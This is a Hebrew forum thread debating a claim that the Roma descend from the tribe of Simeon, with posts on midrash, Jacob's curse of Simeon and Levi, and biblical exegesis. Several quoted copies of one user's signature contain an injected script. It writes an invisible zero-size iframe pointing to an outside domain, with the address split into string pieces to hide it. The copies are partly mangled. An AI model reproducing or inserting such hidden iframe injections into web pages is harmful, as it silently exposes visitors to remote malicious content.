| נשלח ב-3/12/2017 21:54 |
 |
| |
מה זו הוכחה? הקשר היהודי הצועני כמשל
זה התחיל ברוטר, או בטמקא, או אצל מישהו שמצא יהודים שאפילו לא ידעו שהם יהודים.
זה מגוחך? נוגע ללב? אולי גם מסוכן. לא רק בגלל שאם הוא טועה זה עלול להביא לארץ ואולי לתוך עם ישראל גויים. אלא בגלל שיטת ההנמקה שלו.
ראוי לציין: דברי כאן מבוססים על כתבה בטמק"א, אחד המקומות האחרונים שאפשר להסתמך עליהם מכל בחינה אפשרית (גילוי נאות: הכותב ציוני ימני ולכן נמצא בצד השני של מה שלא יהיה מטמקא).
אחרי ההקדמות, קדימה.
זה הסיפור נוסח רוטר.
http://rotter.net/forum/scoops1/439826.shtml?utm_source=rotter.net&utm_medium=newsticker
אני רק מדגיש את השורות שנראות לי ראויות לתשומת לב.
הקשר הצועני: ''הצוענים הם צאצאי שבט שמעון'' | | בתחילת החודש נוסד בירושלים הפורום היהודי-צועני הראשון. מטרת המארגנים: ליצור קשרים בין הקהילות ולהוכיח שהצוענים הם צאצאי שבט שמעון - ולמעשה יהודים. בינתיים הם מדווחים על אלפי פניות מרחבי העולם, וכמה מאות מגיעים בימים אלה לארץ למפגשים ראשונים.
מאות צוענים מגיעים לישראל בעקבות טענה של ישראלים כי מצאו קשר יהודי-תנ"כי לצוענים. ולא סתם קשר: שמואל אבוקיה מהיישוב כוכב יעקב, ממארגני הכנסים הללו, טוען כי מדובר בלא פחות מצאצאי שבט שמעון האבודים.
גיליתי דברים מאוד מעניינים בנושא הקשר שלהם לעם היהודי. זה היה דבר גדול מאוד, והתחלתי קצת לדבר על זה בפייסבוק ובאינטרנט, וההיענות הייתה עצומה. קיבלתי תגובות רבות, והחלטתי לקדם את זה צעד אחד קדימה ולייסד את הפורום היהודי-צועני".
הצוענים יודעים שהם ממוצא יהודי"
הפורום התכנס לראשונה בתחילת החודש בירושלים. כ-60 צוענים מצרפת הגיעו לארץ לסדרת מפגשים עם אבוקיה וחברים נוספים. הצדדים יצרו סימבול המשלב מגן דוד ואת הגלגל המזוהה עם הקהילה הצוענית
במפגש הציג אבוקיה את מסקנות מחקרו, הגורסות כי הצוענים הם יהודים מצאצאי שבט שמעון. לדבריו, "הצוענים יודעים שהם ממוצא יהודי, אבל אין להם הוכחות. אני מאמין שיחד עם המחקר שלי ודברים שנלמד על הקהילה הצוענית, המסורות שלה ומקורותיה, נוכל לחבר את הדברים".
בהרצאה שנשא לפני המשלחת הצוענית אמר אבוקיה כי המשפט הראשון שמצא הרומז לקשר הצועני הוא בספר בראשית: "וַיֹּאמֶר עֵשָׂו אַצִּיגָה נָּא עִמְּךָ מִן הָעָם אֲשֶׁר אִתִּי". לדבריו, פירושים עמוקים יותר של המשפט ובעיקר של המילה "אציגה", יכולים לרמז לדברים נוספים מלבד הפשט הברור.
"אם יש לנו הוכחות, אנחנו לא יכולים להתעלם"
מאז פרסום הדברים יצרו קשר עם אבוקיה אלפים מחברי הקהילה הצוענית, ומאות מהם מגיעים לארץ בימים אלה למפגשים נוספים. לדבריו, "אני בקשר עם כמה נציגי קהילות צועניות מצרפת, פינלנד, ספרד, רוסיה, ואפילו ארה"ב". המוטיבציה שלך לחפש קשר יהודי שמעולם לא הוכח? "אנחנו רואים קשר היסטורי בין העמים. לדוגמה, הנאצים ביקשו להשמיד רק שני עמים - היהודים והצוענים, ויש גם הקשרים היסטוריים נוספים. אני חושב שאם יש לנו הוכחות שמצאנו שבט אבוד, אנחנו לא יכולים להתעלם מזה".
האם יש סמכות רבנית שמאשרת את המחקר שלך? "אני עובד בימים אלה על וידאו וספר שיציגו את כל ההוכחות ואת המחקר במלואו. אחרי זה נציג אותו לרבנים ולסמכויות הלכתיות".
אני משער שהתשובה שלהם תהיה שלילית. "ברור שרוב האנשים ינסו להשליך את זה מהם, אבל אני הולך לפי ההיגיון היהודי – רק מה שנראה בלתי אפשרי קורה בסוף, כמו למשל הקמת מדינת ישראל. זה היה חלום שנראה דמיוני, אבל הנה אנחנו פה. כך אני רואה גם את המקרה הזה. ברור שזה תהליך, ואנחנו רק בתחילת הדרך וצריך לעשות את זה בחוכמה ולאט-לאט, אבל אם זאת האמת - בסוף זה יתממש". http://www.ynet.co.il/articles/0,7340,L-5050024,00.html |
 |
|
|
|
|
| נשלח ב-22/12/2017 13:22 |
|
| |
אליקים,
כפי ששמת לב, לא קבעתי דברים במסמרות, אלא הצעתי אותם כאפשרות סבירה, כך שהמדרש המדובר (היה או לא היה) אינו רחוק מן המציאות, וניסיתי לשער על מה הוא התבסס. ברור שאינני מתכונן לבצע, 2500 שנה אחרי, הגליה כפויה של שבט שמעון, ועוד להכריח את התנ"ך לקחת חלק במעשה הנבלה…
למרות זאת, תשובתך ראויה לבחינה מדוקדקת, כדי לברר האם בכלל פרשנותי סבירה.
הבה נצא לדרך.
לגבי הפרק הראשון בישעיהו. גם בין הפרשנים המסורתיים, רובם פירשו שאין זו נבואתו הראשונה, ואין מאוחר ומוקדם בתורה. הנביא מבקר את השרים והשופטים (להזכירך, חזקיהו פעל בין שני מלכים עובדי עבודה זרה שזוכים לציונים מהגרועים ביותר שספר מלכים מעניק למלכי יהודה, כך שסביר להניח שהשפיעו גם על סביבתם), אך לא את המלך. אולי גם בגלל צדקותו. לפי שיטת הגמול התנ"כית, אסונות אינם באים בחינם, ולכן עונש כה נורא של חורבן חלק גדול מממלכת יהודה, בא בגלל חטאי אנשיה. שים לב גם כי ירושלים שכן נצלה, לפי המקרא - זה :"בעבור דוד עבדי", ולא בגלל מעשים טובים של אנשיה. הנבואה מציינת את זה שכבר כיום כמעט כל יהודה נחרבה, ונותרה רק בת-ציון, ושואלת "על מה תוכו עוד", ובכל זאת בגלל עוונותיה אם לא יחזרו בתשובה, גם ירושלים תיענש בעתיד. ראוי להדגיש כי גלות ערי יהודה בתקופת סנחריב אינה נלמדת מפרק זה. רק אחרי שעובדה זו ידועה לנו ממקורות אחרים, נטו הפרשנים המודרניים לפרש את הפרק, כמתייחסת לגלות סנחריב תוך איום בעונש גם על ירושלים.
הזכרת את ספר דברי הימים שמשמע מתוכו שיתר תושבי ערי שבט שמעון לא גלו, למרות שהרד"ק פירש אחרת. כנראה כוונתך לפסוקים בסוף פרק ד' :
וַיֵּלְכוּ לִמְבוֹא גְדֹר, עַד לְמִזְרַח הַגָּיְא, לְבַקֵּשׁ מִרְעֶה, לְצֹאנָם. מ וַיִּמְצְאוּ מִרְעֶה, שָׁמֵן וָטוֹב, וְהָאָרֶץ רַחֲבַת יָדַיִם, וְשֹׁקֶטֶת וּשְׁלֵוָה: כִּי מִן-חָם, הַיֹּשְׁבִים שָׁם לְפָנִים. מא וַיָּבֹאוּ אֵלֶּה הַכְּתוּבִים בְּשֵׁמוֹת בִּימֵי יְחִזְקִיָּהוּ מֶלֶךְ-יְהוּדָה, וַיַּכּוּ אֶת-אָהֳלֵיהֶם וְאֶת-המעינים (הַמְּעוּנִים) אֲשֶׁר נִמְצְאוּ-שָׁמָּה וַיַּחֲרִימֻם עַד-הַיּוֹם הַזֶּה, וַיֵּשְׁבוּ, תַּחְתֵּיהֶם: כִּי-מִרְעֶה לְצֹאנָם, שָׁם. מב וּמֵהֶם מִן-בְּנֵי שִׁמְעוֹן, הָלְכוּ לְהַר שֵׂעִיר, אֲנָשִׁים, חֲמֵשׁ מֵאוֹת; וּפְלַטְיָה וּנְעַרְיָה וּרְפָיָה וְעֻזִּיאֵל, בְּנֵי יִשְׁעִיבְּרֹאשָׁם. מג וַיַּכּוּ, אֶת-שְׁאֵרִית הַפְּלֵטָה לַעֲמָלֵק; וַיֵּשְׁבוּ שָׁם, עַד הַיּוֹם הַזֶּה.
אדון בפסוקים אלו לפי שתי גישות. הראשון, הוא דעת אותו מדרש (ושוב, אני מניח לצורך הדיון שהוא קיים) שסנחריב הגלה את שבט שמעון, וזה בסתירה לפסוקים אלו.
כפי שכבר ציינת, הרד"ק מפרש את פסוק מג כך:
ויכו את שארית הפליטה לעמלק - פירוש מה שנשאר שלא החרימום שאול ודוד, כי בדוד הוא אומר עד הכרית כל זכר באדום ועמלק מבני אדום, ומה שאמר וישבו שם עד היום הזה, פירושו עד היום הזה שגלו. או פירושו כי עד היום, אף על פי שגלו בני שמעון בני עמלק לא שבו שם ועד היום הזה בחזקת בני שמעון.
גם המצודת דוד, והמלבי"ם כך פירשו.
לכאורה קשה מדוע דחקו כל המפרשים את פשט הכתוב, ולא פירשו כפשוטו של מקרא, שבני שמעון ישבו שם עד יום כתיבת הדברים בספר דברי הימים?
נראה לי שמקובל בפרשנות המסורתית כי בני ישראל ויהודה חטאו, ולכן גלו מן הארץ שהפכה לשוממת, ולכן לא מסתבר ששבט שמעון נשאר במקומו. כמו כן, ההתעלמות בספר עזרא מבני שמעון, מלמדת כי אלו גלו עוד קודם לאשור, ולכן לא חזרו עם השבים מבבל. משום כך, המדרש "ניצל את ההזדמנות" של מסע סנחריב להגלות את שבט שמעון.
אם נדון לפי הגישה הביקורתית, ספר דברי הימים נכתב כנראה בסוף התקופה הפרסית, ויש בו סתירות רבות לספרי התנ"ך האחרים. כך למשל, משמע ממנו שרק השבטים בעבר נהר הירדן גלו על ידי האשורים.
ציינת את יאשיהו שטיהר את ערי שמעון. ככל הנראה אתה מתכוון לתיאור במלכים של "מגבע ועד באר שבע". אכן, ממלכת יהודה כבר השתקמה לאחר תקופת חזקיהו. וודאי שכך היה הדבר בתקופת יאשיהו נינו.
מה עם הארכיאלוגיה? כתבת "לגבי שבט שמעון, אתה כותב ש"יש רגלים לדבר", ומוכיח מתל באר שבע. ההוכחה מתל באר שבע היא מקרה מובהק להוכחה שאינה מוכיחה דבר, מכיוון שאם רק באר שבע נחרבה, משמע שלא כל ערי שבט שמעון, והרי "חלק" מהערים - גם "חלק" מערי יהודה הותקפו (יהודה ולא שמעון)." עכ"ד.
לא טענתי שרק תל באר שבע נחרבה. באר שבע הייתה כנראה העיר הגדולה בנחלת שמעון, ונחפרה היטב. גם תל-שרע שרצו לזהות עם 'צקלג', חרבה באותה תקופה. לא בדקתי לגבי כל הערים בנחלת שמעון בנגב. אינני ארכיאולוג, וטרוד לפרנסתי בתחום עיסוק לחלוטין, ואין עיתותי בידי לבצע מחקר לגבי היקף ההגליה.
|
|
|
|
|
| נשלח ב-21/12/2017 21:28 |
|
| |
כשאומרים בימינו "פוליטיקה" סתם, מתכוונים לסחירה בכוחות החברתיים. ואכן כך אתה מתייחס לזה -למה הם מקבלים מתנות כהונה? למה הם מקבלים את הכוח של השלטון?
אתה טוען שזה מה שעשו חז"ל. זו טענה אפשרית אך בפירוש לא מוכרחת.
חז"ל יכלו לומר את זה כדרך של חינוך, כדרך של הנהגה דתית, או סתם הנהגה חברתית מוצלחת, כלומר שתורמת לפיתוח החברה. תרומה לפיתוח החברה איננה סחירה בכוחות החברה.
אם מייחסים למנהיג כוונות של סחירה בכוחות החברתיים - אז מזלזלים בו. כי מנהיג אמור להנהיג את החברה באופן הטוב לטובת החברה, ולא לטובת טובות הנאה.
אבל כאמור הטענה שחז"ל סחרו בכוחות החברה היא טענה אישית שלך, והיא איננה מוכרחת כלל.
ולא הבנתי נגד מי זה לא חכמה לדבר כאן.
|
|
|
|
| נשלח ב-21/12/2017 20:19 |
|
| |
אליקים זה לא שאני מזלזל בדברי חז"ל אני מייחס להם כוונות פוליטיות. זה לא זלזול. ישנם שלושה עשר שבטים, מתוכם שבט אחד זוכה לקבל תרומות ומעשרות. למה דווקא הוא? זו שאלה פוליטית. יהודה הוא לא הבכור, של אחת מהאמהות אז למה מגיעה לו המלוכה. צריך איכשהו להכשיר את המהלך . אז ישנה כאן ערימה שלמה של מיתוסים שנועדה להצדיק את העובדה . בית דוד מלך בירושלים, אחרי חורבן הבית הראשון , המשיכו צאצאי בית דוד לשלוט על הקהילה העצומה בבבל. היה להם את הכוח, לקחת את האגדות העממיות ולשלב בהן מוטיבים פוליטיים שיצדיקו את זכויות היתר שלהם. אז, לפני אלפיים חמש מאות שנה זה היה רלוונטי. אבל את יורוביץ' שבסך הכל נפטר לפני ארבע עשרה או חמש עשרה שנה, זה לא עניין. ובפורום הזה, אני לא מצפה למצוא מישהו שיצדד בנטורי קרתא או בקנאי בית ישראל. זאת לא חכמה לדבר כאן נגדם. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-21/12/2017 17:41 |
|
| |
קירטון
שאלתי אותך למה אתה משבח את דברי יורוביץ ומזלזל בדברי חז"ל,
אתה מדבר על יורוביץ כמי שמצהיר על מטרה לתת כלים ל"עבודת ה' אמיתית ויומיומית", וכמי שמתקיף פוליטיקה קנאית.
אני חושב שגם חז"ל הורו לנו ללכת בדרך של "עבודת ה' אמיתית ויומיומית". ואם כן בעניין זה לא ענית כלום.
ולגבי הפוליטיקה הקנאית - אז ראשית גם חז"ל האמינו בדרכי שלום. חז"ל בשום מקום לא הורו ללכת בדרך קנאית. ושנית, זה יפה ונחמד שכדבריך - הוא ניצל את הבמה לתקיפת הפוליטיקה הקנאית. אבל הדיון לשלנו לא אמור להיות פוליטי. והשאלה היא לא אם מצאת טיעון פוליטי טוב, אלא אם הגעת לאמת. ומי שמתקיף בכל הזדמנות את הקנאים - זה גם נשמע כמו התנהגות קצת קנאית, ובכל מקרה איני מבין למה זה נותן לו יתרון על חז"ל, שאותו אתה משבח ובחז"ל אתה מזלזל.
|
|
|
|
| נשלח ב-21/12/2017 12:52 |
|
| |
קדימה!
יש כבר מישהו אחד, לא אני, שמכין קושיות לימודיות.
ואני עצמי סקרן מאד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-21/12/2017 07:47 |
|
| |
| מיימוני כתב: |  |
קירטון
זה מעניין מאד. מימי לא שמעתי על יורוביץ. התוכל להפנות ללינקים אודותיו? לספר עליו? אולי לפתוח עליו אשכול. אם הוא כה חשוב לך, הוא יכול להיות מקור לימוד לרבים. פתח נא אשכול עליו. _________________ שומר פיו ולשונו - שומר מצרות נפשו< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מימוני, זה יהיה לי לכבוד גדול ועצום. אני אעשה זאת כמובן, ואני אשמח אחרי שאכתוב את הפוסט, אם ימצאו כאן חברים נוספים שיוכלו לשפוך אור על הדמות האדירה והמסתורית הזו. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-21/12/2017 07:45 |
|
| |
| אליקים7241 כתב: | |
ולמה אתה משבח את התוספות של יורוביץ' הזקן ומזלזל בתוספות של חז"ל? |
|
כיוון שהמניעים של יורוביץ' לא רק שהם ברורים , אלא גם מוצהרים. בכל פירושיו הייתה לנגד עיניו מטרה מוצהרת של מתן כלים לעבודת אלוהים אמיתית ויומיומית. מטרה נוספת שהייתה לו וגם היא הוצהרה על ידיו מספר פעמים הייתה התקפה על פעילותם הפוליטית ומניעיהם הפוליטיים של שכניו וקרוביו הקנאים אנשי תולדות אהרן. גם כאן, הוא מנצל את הבמה כדי לידות אבנים לתוך בית מדרשם, על ידי זה שהוא מפריח רמזים עבים על חוסר הכנות שבקנאותם. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-21/12/2017 07:21 |
|
| |
קירטון
זה מעניין מאד. מימי לא שמעתי על יורוביץ. התוכל להפנות ללינקים אודותיו? לספר עליו? אולי לפתוח עליו אשכול. אם הוא כה חשוב לך, הוא יכול להיות מקור לימוד לרבים. פתח נא אשכול עליו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/12/2017 20:37 |
|
| |
ולמה אתה משבח את התוספות של יורוביץ' הזקן ומזלזל בתוספות של חז"ל?
|
|
|
|
| נשלח ב-20/12/2017 20:18 |
|
| |
| מיימוני כתב: | | אליקים
איקון ירוק. במיוחד על סעיף ב. זה מה שרציתי לכתוב ולא כתבתי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אני ממש לא מתלהב מהודעתו של אליקים.
תמיד אפשר להגיד וקל להגיד "אין שום קשר".
אין קשר בין קללת הבנים , לחטא העגל , לבעל פעור ולחלוקה לנחלאות.
זה הפיתרון הטרוויאלי, זה המינימליזם האמיתי.
אם אתה לא חסיד של המינימליסטים, אתה לא צריך לשבח הצהרה מינימליסטית כל כך כמו זו של אליקים.
אבל אני הולך בדרכן של מורי הגדול אברהם יורוביץ' , אמנם לא זכיתי להכירו בעודו חי , אבל שנים רבות למדתי אצל שני תלמידיו הגדולים ולא, אף אחד ממורי אינו אותו שוטה הזוי , יצחק מאיר מורגנשטרן.
בקיצור, מה אומר יורוביץ' הזקן?
שמעון ולוי טענו שהקינאה שלהם, הייתה לשם שמיים.
בני שבט לוי, הוכיחו את הטענה הזו בזמן חטא העגל. בגלל שהם תקפו את קרובי משפחתם החוטאים, נמחלה להם קללת יעקב והפכה לברכה.
אבל בני שבט שמעון, על פי המדרש, רצו להרוג את פנחס, אחרי שחיסל את זימרי, ומזה נלמד שהקנאות שלהם הייתה אינטרסנטית וקללת יעקב מגיעה להם.
אז הנה פתרון אמיתי, פיתרון יפה ואלגנטי של יורוביץ' כמו שתמיד הוא עושה. הרבה יותר מוצלח בין הטענה הבנאלית של אין קשר בין זה לזה.
מה ההבדל באמת, בין הגישה לגישה של יורוביץ'? שהוא לוקח בחשבון שהמקרט והמפרשים והמדרשים כולם נכתבו ברוח הקודש לשם שמיים. וזה כמובן , לא משהו שאני מאמין בו.
|
|
|
|
| נשלח ב-20/12/2017 07:10 |
|
| |
אליקים
איקון ירוק. במיוחד על סעיף ב. זה מה שרציתי לכתוב ולא כתבתי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-19/12/2017 22:46 |
|
| |
קירטון
א. גלות עשרת השבטים היא חיסול מוחלט רק לפי דעה אחת. ישנם דעות אחרות, ולפי האגדה המקובלת - שגם התקבלה כעיקרית יותר אצל שבט יהודה - דווקא עשרת השבטים זכו לחניה נוחה מעבר לסמבטיון וכו' ואין צורך להאריך.
ב. יעקב מקלל את שמעון ולוי. ראשית לא ברור אם הוא מקלל את השבטים שמעון ולוי או אולי רק את האנשים שמעון ולוי. ושנית, מה משמעות הקללה? האם יעקב קילל אותם שלא תצא מהם כהונה ומנהיגות? בתנ"ך שלי זה לא כתוב. אין שום צורך בשום גישור. לוי קולל בעניין אחד והיה מוצלח בהזדמנויות ו/או בתחומים אחרים. שמעון לא זכה לזה. מה לעשות? אבל שמעון כן זכה להיות מהעומדים על הברכה בהר גריזים. האם זה סותר? כמובן שלא. כל דבר במקומו. העולם מורכב, מה לעשות. וכן, אם לוי זוכה אז סביר שתהיה לו סיבה לזכות המיוחדת הזו, גם אם לא היה מקבל לפני כן שום קללה. ונכון שאם קיבל קללה אז יותר צריך למצוא את צד הזכות, אבל זה לא משנה את העובדה שהזכות יכולה להיות אמיתית ולאו דוקא "מיתוס".
אתה בונה הררים על השערה של השערה - טענה אפשרית לפוליטיקה - טענה אפשרית שאין לה הוכחה הכרחית. "מבחינה לימודית" באמת הסברתי - שלפי המדרש ההוא שבט שמעון לא גלה אלא רק חלק משמעון עם חלק מיהודה, ולכן מלבד שחלק משמעון לא גלו, גם אין סיבה לייחס את הגולים דווקא לשמעון יותר מיהודה, ועוד דברים שכתבתי ואתה לא התייחסת,
ג. "ולתת עליכם היום ברכה" לא בהכרח מדבר על "היות השבט שבט מבורך במהותו". זה יכול להיות סתם איזה טקס כעין ברכת כוהנים שיזכו לו. ואולי סתם ברכה ממשה רבינו כמנהיג. ואולי ברכה כללית בבחינת "והיה אם שמוע". ואולי רק אמירה שמעכשיו והלאה יצהיב להם פנים. או שמבטיח להם ש"יתגמל אותם בהזדמנות". או כל דבר אחר שתרצה. לבנות מיתוסים ופרשנויות בגלל פסוק אחד - וגם בגלל עוד פסוקים - זה אפשרי אך לא מוכרח. ובודאי שאין להקשות מפסוק אחד לפסוק אחר או למדרש, על סמך פרשנות אישית שלך. אז רש"י מקשר את זה לכהונה. ומצאת אפילו ב"דעת זקנים מבעלי התוספות" שזה מהווה שינוי ממה שהיה בברכת יעקב. אז מה? אז בגלל שורה קצרה בדעת זקנים מבעלי התוספות+חיבור אישי שלך לרש"י (שלא בטוח שרש"י ודעת זקנים היו מחברים את זה ביחד כמוך) זה מוכיח שהיה "מיתוס" וכו' וכו'??? די מוזר. "שבטים מקוללים" "שבטים מבורכים" - אלו מושגים שלא נמצאים בתנ"ך ולא בחז"ל. אתה ממציא מושגים, ועל סמך זה טוען טענות על דברי חז"ל. "מניח הנחה ושואל שאלה". אל תניח ואל תשאל.
תוקן על ידי אליקים7241 ב- 19/12/2017 22:52:46
|
|
|
|
|
|
| נשלח ב-19/12/2017 16:44 |
|
| |
אני מסכים לחלוטין שהמדרש מוסיף משהו כדי להצדיק אירועים היסטוריים באופן תאולוגי.
אמנם לא ברור לי במקרה שלנו אם היינו אמורים לצפות לפגיעה במעמדם של השבטים. האם ייקנסו בנים בחטא אבות?
מצד שני, אם נניח כדבריך שהמקרא מביא שני אירועים בתולדות העם, האחד, מוקדם, שבו שני שבטים כשלו, והשני מאוחר יותר, לאחר יציאת מצרים, שבו הצטיין אחד מהם, מתבקש לומר שהאירוע המאוחר תרם ובמיוחד שנאמר לנו מה שכרו.
לפי זה המדרש רק מנסח במילים את מה שעולה מן המקרא.
יש בהחלט פירושים מיתיים ויש בהחלט נראטיבים שהמדרש יוסיף על הפסוקים, אבל זה שלפנינו נראה ממש, לפי הקריאה שלך, כפשוטו של מקרא.
וכמובן, המונח "פשוטו של מקרא", "מיתוס", חשיפה מול שיכתוב, כולם טעונים הבהרה כי יתכן שאנו משתמשים במילים באופן לא מספיק מדוייק.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-19/12/2017 15:51 |
|
| |
| מיימוני כתב: | | קירטון
כתבת
דיברנו על גלות עשרת השבטים.
היא הכי חמורה , לפחות לפי מה שנראה לי, כי המשמעות שלה הוא חיסול מוחלט.
אין יותר "עשרת שבטים". עקבותיהם נעלמו.
עכשיו נחזור אחורה רגע.
יעקב מקלל שני שבטים , שמעון ולוי.
שנים רבות אחר כך, שבט לוי מקבל גם מנהיגות וגם כהונה.
עכשיו צריך מיתוס כדי שיגשר על הבעייתיות הזו.
מצד אחד לוי הוא שבט מקולל, מצד שני הוא נבחר לשרת בקודש, הוא נבחר לשפוט ובמידה מסוימת גם להנהיג.
(עד כאן העתקה. ההדגשה שלי).
לשאול על דבריך אני מבקש:
האם קללת יעקב אמורה להוריד בדרגה את שני השבטים האלו?
האם לא יתכן שגם אם האב רצה להוריד אותם דרגה, הבנים התעלו על עצמם וזכו ליותר מכפי חלקם?
ובעיקר -
נכון שכאשר יש סתירה בין המציאות החדשה למה שעולה מן המקורות אפשר לגשר זאת על ידי מיתוס. אבל אפשר לגשר זאת גם על ידי קביעות היסטוריות, תאולוגיות ועוד.
האם המעשה בו בני לוי מצטיינים בנאמנותם במעשה העגל הוא מיתוס או אמור להיות סיפור היסטורי?
אני כמעט פוחד לכתוב זאת, אבל למה שאפחד? אם בעיני מעשה העגל ותגובת בני לוי היא סיפור היסטורי, אז מדוע לכנותו מיתוס?
נכון, אני נותן אמון במסופר במקרא. איני נמנה עם המינימליסטים, הניהיליסטים ושאר חוקרי המקרא שמניחים כנראה כי כל הסיפורים נועדים למען אינטרסים עד שיוכח ממקור חיצוני אחרת..
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
|
|
תודה מיימוני על שאלתך.
יש כאן דקות.
בוא נניח הנחה מסויימת , שהיא רחוקה מלהיות מינימליסטית.
ההנחה היא כזו , המקרא מתאר מאורעות היסטוריים ואילו המדרשים ממלאים את המאורעות האלו במשמעות דתית/פוליטית/מוסרית.
אז מה המקרא מספר על בני לוי בחטא העגל?
וַיַּֽעֲמֹ´ד מֹשֶׁה© בְּשַׁ³עַר הַֽמַּֽחֲנֶ₪ה וַיֹּ¥אמֶר מִµי לַֽיהוָֹ¦ה אֵלָ¡י וַיֵּאָֽסְפµוּ אֵלָ¦יו כָּל-בְּנֵµי לֵוִֽי:{כז} וַיֹּ³אמֶר לָהֶ§ם כֹּֽה-אָמַ´ר יְהוָֹה© אֱלֹהֵ³י יִשְׂרָאֵ₪ל שִׂµימוּ אִישׁ-חַרְבּ¦וֹ עַל-יְרֵכ¡וֹ עִבְר¸וּ וָשׁ¬וּבוּ מִשַּׁ´עַר לָשַׁ¸עַר© בַּֽמַּֽחֲנֶ₪ה וְהִרְג·וּ אִֽישׁ-אֶת-אָחִ«יו וְאִµישׁ אֶת-רֵעֵ¦הוּ וְאִµישׁ אֶת-קְרֹבֽוֹ: {כח} וַיַּֽעֲשׂµוּ בְנֵֽי-לֵוִ¦י כִּדְבַ³ר מֹשֶׁ¡ה וַיִּפֹּ´ל מִן-הָעָם© בַּיּ³וֹם הַה₪וּא כִּשְׁלµשֶׁת אַלְפֵ¦י אִֽישׁ: {כט} וַיֹּ³אמֶר מֹשֶׁ§ה מִלְא¸וּ יֶדְכֶ´ם הַיּוֹם© לַֽיהֹוָ₪ה כִּ«י אִµישׁ בִּבְנ¦וֹ וּבְאָחִ¡יו וְלָתֵ·ת עֲלֵיכֶ«ם הַיּ¦וֹם בְּרָכָֽה:
זהו הטקסט המקראי.
אין לו שום קשר לקללת יעקב את שמעון ולוי, נכון?
את המרווח הזה ממלא המיתוס
נניח לפי פירוש "דעת זקנים מבעלי התוספות" המשמעות של המילה "ברכה"
ולתת עליכם היום ברכה. ומכאן זכו בני לוי שברכן משה בזאת הברכה אע"פ שלא ברכן יעקב
מה אומר רש"י על הפסוק?
בדבר זה תתחנכו להיות כהנים למקום:
אם נחבר את שני הפירושים, אנחנו נראה מהלך שלם שבמהלך הזה, בזכות הנאמנות של שבט לוי למשה, הם הופכים משבט מקולל לשבט הנבחר, לשבט הכוהנים.
המקרא לא אמר שום דבר כזה, כאן מתפקד המיתוס. הוא לוקח שני אירועים מקראיים ומדביק אותם בדבק פוליטי.
אוקי??
|
|
|
|
| נשלח ב-19/12/2017 14:49 |
|
| |
ראֹה אייקונך לא פיללתי (באשכול סמוך) והנה הראני אלהים גם התנצלותך! עכשיו אני יכול לעזוב את העולם בלב שקט ובצוואתי הריני פוטר אותך מהצורך להתייחס מעתה ואילך לכל מה שאכתוב בעתיד (וא"ת כתיבה אחרי המוות מניין, עיין במכתב מאליהו, ודוק)
|
|
|
|
|
